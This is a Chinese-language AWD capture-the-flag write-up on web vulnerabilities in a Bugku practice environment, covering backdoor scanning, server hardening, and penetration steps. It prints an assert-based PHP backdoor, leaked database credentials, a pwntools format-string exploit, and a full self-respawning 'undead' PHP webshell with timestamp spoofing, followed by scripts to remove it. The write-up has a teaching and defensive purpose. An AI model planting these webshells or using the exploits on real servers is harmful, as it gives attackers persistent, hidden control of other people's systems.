基于AWD攻防对Web漏洞的研究

写在前面

Copyright © [2023] [Myon⁶]. All rights reserved.

基于awd攻防环境和xshell远程连接,配合kali linux渗透系统、蚁剑、D盾、河马、Seay代码审计系统等,演示现实中网站可能存在的漏洞,对网站进行漏洞扫描,渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等,以获取目标shell,并对网站漏洞进行修复与加固,总结防御措施,增强网络安全意识。

本人CSDN博客地址:http://myon6.blog.csdn.net

期待大家的关注与支持!

目录

一、背景介绍

1、AWD赛制

2、Web安全

3、网络空间安全

二、大致流程

三、详细过程

1、xshell连接与html目录下载

2、Webshell后门文件查杀与Seay代码审计系统

3、漏洞修复与系统加固

(1)后门文件查杀

(2)加固用户名密码(用户层)

(3)加固SQL数据库(服务层)

(4)改网站后台密码

4、对网站进行渗透测试

(1)mysql数据库远程连接

(2)文件上传漏洞

(3)任意文件读取漏洞

(4)Redis未授权访问漏洞

(5)pwn二进制漏洞

5、基于条件竞争对不死马的研究

四、结果分析

五、体会与总结


一、背景介绍

1、AWD赛制

AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。

2、Web安全

随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

3、网络空间安全

党的十八大以来,我国网络安全和信息化事业取得重大成就,党对网信工作的领导全面加强,网络空间主流思想舆论巩固壮大,网络综合治理体系基本建成,网络安全保障体系和能力持续提升,网信领域科技自立自强步伐加快,信息化驱动引领作用有效发挥,网络空间法治化程度不断提高,网络空间国际话语权和影响力明显增强,网络强国建设迈出新步伐。

二、大致流程

1、基于Bugku的awd攻防环境,使用xshell与服务器建立远程连接,熟悉awd的基本流程。

2、压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计。

3、对网站进行漏洞修复与系统加固,包括加固用户名密码,加固SQL数据库,以及可能存在的弱口令与内核溢出提权。

4、对网站进行渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等。

5、基于条件竞争,研究对不死马(内存马)进行写入利用,shell获取,以及针对不死马的防御处理手段。

三、详细过程

1、xshell连接与html目录下载

拿到账号密码后使用xshell连接,输入主机IP和端口号:

进行用户身份验证,输入给的用户名和密码

连接成功后,切换到html目录

将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)

2、Webshell后门文件查杀与Seay代码审计系统

将目录扔给D盾和河马进行扫描查杀:

使用seay进行代码审计:

3、漏洞修复与系统加固

(1)后门文件查杀

查看一下前面扫描到的后门文件 config.php

分析:

`$poc` 变量包含了字符串 "a#s#s#e#r#t";使用 `explode("#", $poc)` 函数将字符串分割成数组 `$poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t";

然后,将数组 `$poc_1` 的元素连接起来,形成字符串 `$poc_2`,其值为 "assert";最后,代码执行了 `$poc_2($_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行;我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码,直接删掉该文件。

(2)加固用户名密码(用户层)

修改linux用户密码

使用命令

Passwd

输入之后根据提示修改密码即可

删除其他可登录用户

使用命令查看/etc/passwd 文件

cat /etc/passwd

第一个字段显示用户名,第二个字段显示密码状态,如果是 x,则表示密码存储在 /etc/shadow 文件中,第三个字段显示用户 ID,第四个字段显示组 ID;

后面字段依次显示:存储用户信息、主目录的路径、用户的 shell

这里我们配合grep命令查询可登录用户:

cat /etc/passwd |grep bash #有bash表示用户可以登录

我这里只是以自己服务器为例做演示,实际比赛环境肯定不止有root一个可登录用户,并且比赛给我们的账号密码是一个低权限用户,用于访问服务器,一般为非root权限。

如果有权限就删除用户:

userdel -r 用户名

(3)加固SQL数据库(服务层)

进入mysql数据库:mysql -uroot -proot

修改mysql数据库远程连接的密码:

update mysql.user set password=password('新密码') where user='root';

#password为加密方式,不以明文存储,也可以使用md5('新密码')

一定注意:

MySQL 5.7.6版本以下,才能使用此方法来修改密码,从MySQL 5.7.6版本起,user表使用authentication_string列代替之前版本中的password列来存储密码,并且它删除了password列。

我们使用最新的列名进行修改:update mysql.user set authentication_string=password('新密码') where user='用户名';

先查一下它原本的信息(登录IP,用户名,密码)

select host,user,authentication_string from mysql.user;

而那个密码并不在cms库,而是在mysql数据库下的user表

修改cms的密码,假设改为111111:

update mysql.user set authentication_string=password('111111') where user='cms';

修改成功后记得刷新配置

删除匿名用户

注意:默认会存在匿名用户登录(user为空的用户),我们需要删掉它:

delete from mysql.user where user='';

完成之后我们刷新设置:flush privileges;

(4)改网站后台密码

从网站页面或者源码或者目录扫描工具找到后台页面,然后尝试弱口令登入后改管理员密码。

也可以在数据库里面直接修改:

4、对网站进行渗透测试

(1)mysql数据库远程连接

从网站页面入手

是一个登录界面,尝试一些弱口令登录,发现不行

找到登录界面的文件login.php,检索一些关键字(password、email)

这里并没有发现什么有用信息,继续去找和这个文件相关的文件,容易发现它还包含了两个文件:

经过查看head.php和connect.php,最终在后者发现了数据库远程连接的账号密码:

$username = "cms";

$password = "eb0d39d2931c480f";

使用命令进行mysql远程连接

mysql -h47.104.192.166 -P3306 -ucms -peb0d39d2931c480f

连上之后我们查它的数据库和表,最后在cms库下的users表里发现了页面的登录邮箱和密码:

admin@bugku.com

21232f297a57a5a743894a0e4a801fc3

这里密码进行了加密,解md5得到密码为 admin

在cms库下有一个flag表,我们尝试查它的具体内容,并没有flag

先去登录网站页面

(2)文件上传漏洞

进去之后很容易发现存在文件上传漏洞

我先上传的是普通一句话木马,成了,没有任何绕过

上传成功后直接上蚁剑

(3)任意文件读取漏洞

<?php

error_reporting(0);

// 接受 GET 方式传递过来的 file 值

$f_name = $_GET['src'];

$file_path = "../resources/".$f_name;

if(file_exists($file_path)) {

    header('Content-Type: application/octet-stream');

    header('Content-Disposition: attachment; filename="'.basename($file_path).'"');

    header('Expires: 0');

    header('Cache-Control: must-revalidate');

    header('Pragma: public');

 header('Content-Length: ' . filesize($file_path));

    flush();

    readfile($file_path);

    die();

} else {

    http_response_code(404);

}

?>

代码分析:

1. `error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。

2. 通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。

3. 构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。

4. 使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。

5. 设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。

6. 使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。

7. `die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。

8. 如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。

允许用户通过GET请求下载服务器上的文件,如果文件存在的话,脚本word.php位于api目录下,以get的方式请求参数src,我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击。

(4)Redis未授权访问漏洞

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。

(5)pwn二进制漏洞

这里直接上exp攻击脚本:

from pwn import *

context.terminal = ['termite', '-e']

#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')

p = process('./echoasaservice')

p.recvline()

payload = bytearray()

payload += "%8$lx.%9$lx.%10$lx".encode()

p.sendline(payload)

flag = p.recvline().decode('utf-8').rstrip()

split = flag.split('.')

endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])

print(bytearray.fromhex(endian).decode())

5、基于条件竞争对不死马的研究

这里以PHP不死马为例

测试代码:

<?php

    ignore_user_abort(true);

    set_time_limit(0);

    unlink(__FILE__);

    $file = '.test.php';

    $code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

    while (1){

        file_put_contents($file,$code);

        system('touch -m -d "2018-12-01 09:10:12" .test.php');

        usleep(5000);

    }

?>

上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。

关于代码的详细解释:

ignore_user_abort(true);

设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。

set_time_limit(0);

设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。

unlink(__FILE__);

删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。

$file = '.test.php';

定义一个变量$file,它包含了要写入的文件名,即".test.php"。

文件最前面带上.就会变成隐藏文件

$code='<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';

定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。

while (1){...}

这是一个无限循环,它将不断执行以下操作:

file_put_contents($file, $code);

将上述定义的$code写入文件$file,也就是".test.php",以便不断更新文件内容。

system('touch -m -d "2018-12-01 09:10:12" .test.php'); -

使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。

usleep(5000);

等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。

其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test

上传该PHP文件后进行访问

访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件

使用蚁剑或者菜刀连接生成的webshell:

http://文件所在路径/.test.php?pass=test

连接密码:test

尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程。

使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除,只有查看新增文件才能发现它:

find ./ -cmin -30  #查看30分钟内创建的文件

处理方法:

1、写入同名文件克制不死马

测试代码:

<?php

    ignore_user_abort(true);

    set_time_limit(0);

    unlink(__FILE__);

    $file = '.test.php';

    $code = 'come on!';

    while (1){

        file_put_contents($file,$code);

        system('touch -m -d "2018-12-01 09:10:12" .test.php');

          usleep(1000);

    }

?>

注意:usleep的时间一定要比不死马小,$code修改为无害内容即可

假设文件命名为killshell.php,上传该文件并访问它

注意:一定要先去访问它一遍才能触发写入文件

再次尝试连接webshell发现已经连不上了,返回数据为空

在服务器查看webshell的内容

可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容

2、使用条件竞争查杀不死马

测试代码:

这是一个bash脚本

#!/bin/bash

while true

do

#kill -9 进程ID

rm -rf .test.php

done

如果能查到不死马的进程ID也可以kill命令和rm命令同时进行

使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程,新建查杀脚本:vim rmshell.sh

添加最高权限:chmod 777 rmshell.sh

在后台不断运行该脚本:nohup ./rmshell.sh & 

再次查看不死马,发现已经不存在了

四、结果分析

1、通过压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计,找到了存在的webshell后面文件并成功清理,加固了自己的网站和数据库密码。

2、基于扫描到和存在的漏洞进行渗透测试,成功修改掉数据库管理员密码,登录网站后台并且拿下网站后台权限。

3、成功在测试网站种下不死马,这样可以实现持续长久的维持后门权限。

基于条件竞争自己编写脚本,成功处理掉了不死马。

五、体会与总结

1、威胁感知与应对:通过实施AWD(Attack and Defense)攻防对Web漏洞的研究,我们深刻了解了攻击者的思维方式和策略,这有助于提高对潜在威胁的感知和应对能力。我们学会了从攻击者的角度审视Web应用程序,以更好地保护它们免受恶意入侵。

2、弱点的深入了解:研究过程中,我们不仅发现了常见的Web漏洞类型,还深入了解了它们的工作原理和利用方法。这有助于我们更好地理解弱点的本质,从而能够更好地修复和防范这些漏洞,提高Web应用程序的安全性。

3、持续改进的必要性:AWD攻防研究不仅揭示了Web漏洞的存在,还强调了安全性是一个持续改进的过程。我们必须不断更新和改进我们的防御策略,以适应不断演变的威胁和攻击技巧。这项研究强调了安全团队需要保持警惕,不断学习和提高,以确保Web应用程序的持续安全。

注:Copyright © [2023] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/266015.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

网络爬虫之Ajax动态数据采集

动态数据采集 规则 有时候我们在用 requests 抓取页面的时候&#xff0c;得到的结果可能和在浏览器中看到的不一样&#xff0c;在浏览器中可以看到正常显示的页面教据&#xff0c;但是使用 requests 得到的结果并没有&#xff0c;这是因为requests 获取的都是原始的 HTML 文档…

nodejs+vue+ElementUi家政服务系统c90g5

项目中登录模块用到token家政服务平台有管理员&#xff0c;雇主&#xff0c;雇员三个角色。管理员功能有个人中心&#xff0c;雇主管理&#xff0c;雇员管理&#xff0c;资料认证管理&#xff0c;项目类型管理&#xff0c;服务项目管理&#xff0c;需求信息管理&#xff0c;服务…

探索微软Edge:使用方法和心得分享

学习目标&#xff1a; 了解微软Edge的基本功能和使用方法。掌握在微软Edge上进行浏览、搜索和书签管理的技巧。学习如何使用微软Edge进行隐私和安全管理。探索微软Edge的扩展和其他高级功能。 学习内容&#xff1a; 微软Edge的简介&#xff1a;了解微软Edge的起源、特点和与其…

NiNNet

目录 一、网络介绍 1、全连接层存在的问题 2、NiN的解决方案(NiN块) 3、NiN架构 4、总结 二、代码实现 1、定义NiN卷积块 2、NiN模型 3、训练模型 一、网络介绍 NiN&#xff08;Network in Network&#xff09;是一种用于图像识别任务的卷积神经网络模型。它由谷歌研究…

设计模式除盲

目录 1.设计模式概述1.1 软件设计模式的产生背景1.2.软件设计模式的概念1.3 学习设计模式的必要性1.4 设计模式分类 2.UML图2.1 类图概述2.2 类图的作用2.3 类图表示法2.3.1 类的表示方式2.3.2 类与类之间关系的表示方式2.3.2.1 关联关系2.3.2.2 聚合关系2.3.2.3 组合关系2.3.2…

驱动开发-1

一、驱动课程大纲 内核模块字符设备驱动中断 二、ARM裸机代码和驱动有什么区别&#xff1f; 1、共同点&#xff1a; 都能够操作硬件 2、不同点&#xff1a; 1&#xff09;裸机就是用C语言给对应的寄存器里面写值&#xff0c;驱动是按照一定的套路往寄存器里面写值 2&#xff09…

微服务之配置中心与服务跟踪

zookeeper 配置中心 实现的架构图如下所示&#xff0c;采取数据加载到内存方式解决高效获取的问题&#xff0c;借助 zookeeper 的节点监听机制来实现实时感知。 配置中心数据分类 事件调度&#xff08;kafka&#xff09; 消息服务和事件的统一调度&#xff0c;常用用 kafka …

vulnhub-Tre(cms渗透)

&#x1f42e;博主syst1m 带你 acquire knowledge&#xff01; ✨博客首页——syst1m的博客&#x1f498; &#x1f618;《CTF专栏》超级详细的解析&#xff0c;宝宝级教学让你从蹒跚学步到健步如飞&#x1f648; &#x1f60e;《大数据专栏》大数据从0到秃头&#x1f47d;&…

MATLAB画球和圆柱

1. 画球 修改了一下MATLAB的得到球的坐标的函数&#xff1a; GetSpherePoint function [xx,yy,zz] GetSpherePoint(xCenter,yCenter,zCenter,r,N) % 在[xCenter,yCenter,zCenter]为球心画一个半径为r的球,N表示球有N*N个面&#xff0c;N越大球的面越密集 if nargin < 4 …

Flink面试题与详解

Flink面试题目合集 从牛客网上找到的一些面试题&#xff0c;如果还有其他的&#xff0c;欢迎大家补充。 1、能否详细描述下Apache Flink的架构组件和其工作原理&#xff1f;请介绍一下Flink on YARN部署模式的工作原理。 官网图&#xff1a; 由两个部分组成&#xff0c;JM&am…

单调栈分类、封装和总结

作者推荐 map|动态规划|单调栈|LeetCode975:奇偶跳 通过枚举最小&#xff08;最大&#xff09;值不重复、不遗漏枚举所有子数组 C算法&#xff1a;美丽塔O(n)解法单调栈左右寻找第一个小于maxHeight[i]的left,right&#xff0c;[left,right]直接的高度都是maxHeight[i] 可以…

攻防世界——game 游戏

下载下来是一个exe文件&#xff0c;可以用IDA打开 我们先运行一下 这是属于第二种类型&#xff0c;完成一个操作后给你flag 这种题我更倾向于动调直接得到flag 我们查壳 没有保护壳&#xff0c;直接32打开 进入字符串界面&#xff0c;找到显示的那部分 int __cdecl main_0(…

XSKY星辰天合星海架构荣获 IT168 “2023 年度技术卓越奖”

近日&#xff0c;"2023 年度技术卓越奖"获奖名单公布&#xff0c;XSKY 星辰天合的星海架构&#xff08;XSEA&#xff0c;极速全共享架构&#xff09;获得行业 CIO/CTO 大咖、技术专家及 IT 媒体三方认可&#xff0c;成功入选&#xff01; “技术卓越奖”评选由国内著…

Java核心知识体系8:Java如何保证线程安全性

1 Java内存模型&#xff08;JMM&#xff09; 如何解决并发问题 维度1&#xff1a;使用关键字、属性进行优化JMM本质实际就是&#xff1a;Java 内存模型规范了 JVM 如何提供按需禁用缓存和编译优化的方法。这些方法包括了&#xff1a; volatile、synchronized 和 final 关键字 …

Linux多线程:线程池(单例),读写锁

目录 一、线程池&#xff08;单例模式&#xff09;1.1 makefile1.2 LockGuard.hpp1.3 log.hpp1.4 Task.hpp1.5 Thread.hpp1.6 ThreadPool.hpp1.7 main.cc 二、STL,智能指针和线程安全2.1 STL中的容器是否是线程安全的?2.2 智能指针是否是线程安全的? 三、其他常见的各种锁四、…

Mac OS 13+,Apple Silicon,删除OBS虚拟摄像头(virtual camera),

原文链接: https://www.reddit.com/r/MacOS/comments/142cv OBS为了捕获摄像头视频,将虚拟摄像头插件内置为系统插件了.如下 直接删除没有权限的,要删除他,在mac os 13以后,需要关闭先关闭苹果系统的完整性保护(SIP) Apple 芯片(M1,....)的恢复模式分为两种,回退恢复模式,和…

支持TrustZone®的R7FA4M2AC3CFM、R7FA4M2AD3CFM、R7FA4M2AD3CFP、R7FA4M2AC3CFP高性能32位微控制器

产品简介 RA4M2 32 位微控制器 (MCU) 产品群使用支持 TrustZone 的高性能 Arm Cortex-M33 内核。 与片内的 Secure Crypto Engine (SCE) 配合使用&#xff0c;可实现安全芯片的功能。 RA4M2 采用高效的 40nm 工艺&#xff0c;由灵活配置软件包 (FSP) 这个开放且灵活的生态系统…

计算机网络(5):运输层

这一章应该是整个计算机网络对我们来说最重要的&#xff0c;也是用的最多的一部分。 运输层协议 进程之间的通信 从通信和信息处理的角度看&#xff0c;运输层向它上面的应用层提供通信服务&#xff0c;它属于面向通信部分的最高层&#xff0c;同时也是用户功能中的最低层。…

【MySQL工具】pt-online-schema-change源码分析

通过阅读源码 更加深入了解原理&#xff0c;以及如何进行全量数据同步&#xff0c;如何使用触发器来同步变更期间的原表的数据更改。(&#xff3e;&#xff0d;&#xff3e;)V 目录 源码分析 Get configuration information. Connect to MySQL. Create --plugin. Setup la…

3D数学--矢量

矢量是具有大小和方向的有向线段 矢量大小&#xff08;结果&#xff1a;标量&#xff09; 矢量与标量乘法&#xff08;结果&#xff1a;矢量&#xff09; 矢量加减法&#xff08;结果&#xff1a;矢量&#xff09; 矢量点积&#xff08;结果&#xff1a;标量&#xff09; 1.矢量…